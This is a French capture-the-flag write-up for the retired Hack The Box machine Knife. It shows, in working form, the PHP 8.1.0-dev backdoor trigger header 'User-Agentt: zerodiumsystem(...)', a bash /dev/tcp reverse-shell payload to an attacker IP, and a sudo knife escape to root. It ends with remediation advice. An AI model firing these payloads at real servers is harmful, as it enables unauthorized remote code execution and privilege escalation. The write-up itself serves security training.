picsou@htb:~/writeups/easy/knife$

Linux Easy

Knife : la backdoor PHP 8.1.0-dev, puis knife en root

Exploitation de la backdoor supply-chain insérée dans PHP 8.1.0-dev via un header HTTP détourné, puis élévation vers root par un sudo mal configuré sur knife.

box
Knife
os
Linux
difficulté
Easy
publiée le
temps
18 min
indices
aucun
outils
nmap curl netcat
techniques
Scan de ports Énumération web Backdoor supply-chain PHP 8.1.0-dev Injection de commande Mauvaise config sudo

Box retirée par Hack The Box. Write-up publié dans le respect des règles de la plateforme, flags masqués.

TL;DR

  1. Un seul service web exposé, dont le header X-Powered-By révèle PHP/8.1.0-dev.
  2. Cette version correspond exactement à la backdoor insérée dans le dépôt officiel PHP en mars 2021 (incident supply-chain connu).
  3. Un header User-Agentt (avec un t de trop) contenant zerodiumsystem("<commande>") exécute la commande côté serveur.
  4. Reverse shell obtenu en tant que james.
  5. sudo -l montre que james peut lancer /usr/bin/knife en root sans mot de passe : knife exec sort un shell root.

Reconnaissance

kali
nmap -sVC -T4 10.129.77.255
nmap
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title:  Emergent Medical Idea
|_http-server-header: Apache/2.4.41 (Ubuntu)

Seuls deux services : SSH et un site web Apache. Pas de piste évidente sur le titre de la page, donc direction l'énumération HTTP.

Énumération

Une requête simple sur le site suffit à révéler l'info clé, dans les headers de réponse :

headers de réponse
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev

PHP/8.1.0-dev n'est pas une version de développement anodine : c'est exactement le build concerné par l'incident de supply-chain de mars 2021, où un commit malveillant a été poussé sur le dépôt Git officiel de PHP en se faisant passer pour un commit de Rasmus Lerdorf et Nikita Popov. Le code injecté ajoute une porte dérobée déclenchable via un header HTTP.

Foothold

Le mécanisme de la backdoor

Le code malveillant vérifie la présence d'un header nommé User-Agentt (avec un t en trop, pour ne pas entrer en collision avec le vrai User-Agent). Si sa valeur commence par zerodiumsystem, le reste est passé à eval() côté PHP, qui exécute la fonction system() avec la commande fournie.

Premier test (sans conséquence)

requête de test
GET / HTTP/1.1
Host: 10.129.77.255
User-Agent: Mozilla/5.0 (X11; Linux x86_64) ...
User-Agentt: zerodiumsystem("ls")
réponse
HTTP/1.1 404 Not Found
Content-Length: 25

No input file specified.

Cette réponse ne confirme ni n'infirme l'exécution : c'est le message générique de php-cgi quand aucun script n'est résolu pour l'URL. Elle confirme seulement que le serveur n'a pas planté.

Reverse shell

requête d'exploitation
GET / HTTP/1.1
Host: 10.129.77.255
User-Agent: Mozilla/5.0 (X11; Linux x86_64) ...
User-Agentt: zerodiumsystem("bash -c 'bash -i >& /dev/tcp/10.10.14.84/1337 0>&1'");

Avec le listener lancé côté attaquant :

kali
nc -lvnp 1337
kali
Ncat: Connection from 10.129.77.255.
bash: cannot set terminal process group (891): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$ cat /home/james/user.txt

Le shell est fonctionnel malgré l'avertissement no job control, qui n'empêche pas d'exécuter des commandes, seulement le contrôle de jobs interactif (Ctrl-Z, etc.).

Élévation vers root

Pistes classiques écartées

james@knife
getcap -r / 2>/dev/null
txt
/usr/lib/.../gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep

Rien d'anormal. Les SUID (find / -perm -4000) renvoient aussi la liste standard Ubuntu, rien à exploiter.

sudo -l : le vrai vecteur

james@knife
sudo -l
txt
User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

knife est l'outil CLI de Chef (gestion de configuration / infrastructure as code). Son sous-commande exec permet d'exécuter du code Ruby arbitraire, ce qui inclut la possibilité de lancer un processus.

james@knife
sudo su
txt
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper

sudo su échoue car le shell obtenu via la backdoor n'a pas de vrai TTY attaché. Sans intérêt d'en déduire un échec de la configuration sudo : knife fonctionne très bien sans TTY puisqu'il est en NOPASSWD.

james@knife
sudo knife exec -E 'exec "/bin/sh"'
root@knife
# cat /root/root.txt

Findings

#ConstatSévérité (CVSS v4)Remédiation
F1Build PHP/8.1.0-dev en production, concerné par la backdoor supply-chain de mars 2021CritiqueNe jamais déployer un build -dev, mettre à jour vers une version stable patchée et surveiller les versions annoncées dans les headers HTTP
F2Exécution de commande arbitraire via un header HTTP détourné (User-Agentt)CritiquePatch immédiat (migration de version), désactivation de X-Powered-By, WAF filtrant les headers non standard
F3sudo autorise knife sans mot de passe pour un utilisateur non administrateur, alors que knife exec permet l'exécution de code Ruby arbitraire équivalente à un accès root completCritiqueRetirer knife de la configuration sudo de james, ou restreindre ses sous-commandes autorisées

Leçons apprises

  • Le header X-Powered-By reste une source d'info précieuse : une version -dev en production est toujours suspecte et vaut la peine d'être recherchée (incidents connus, CVE, backdoors).
  • La backdoor PHP 8.1.0-dev (mars 2021) est un bon réflexe à garder en tête dès qu'un X-Powered-By: PHP/8.1.0-dev apparaît : header User-Agentt + zerodiumsystem("<cmd>").
  • Pour un reverse shell bash, ne jamais mettre -c juste avant -i : bash -i >& /dev/tcp/IP/PORT 0>&1 fonctionne, bash -c -i >& ... échoue silencieusement car -i est pris comme argument de -c.
  • sudo su qui échoue pour absence de TTY ne veut pas dire que la voie sudo est bouchée : toujours vérifier la commande précise autorisée par sudo -l, ici knife, qui fonctionne sans TTY en NOPASSWD.
  • knife exec -E 'exec "/bin/sh"' est le réflexe GTFOBins-like pour n'importe quel sudo NOPASSWD sur l'outil Chef.

Références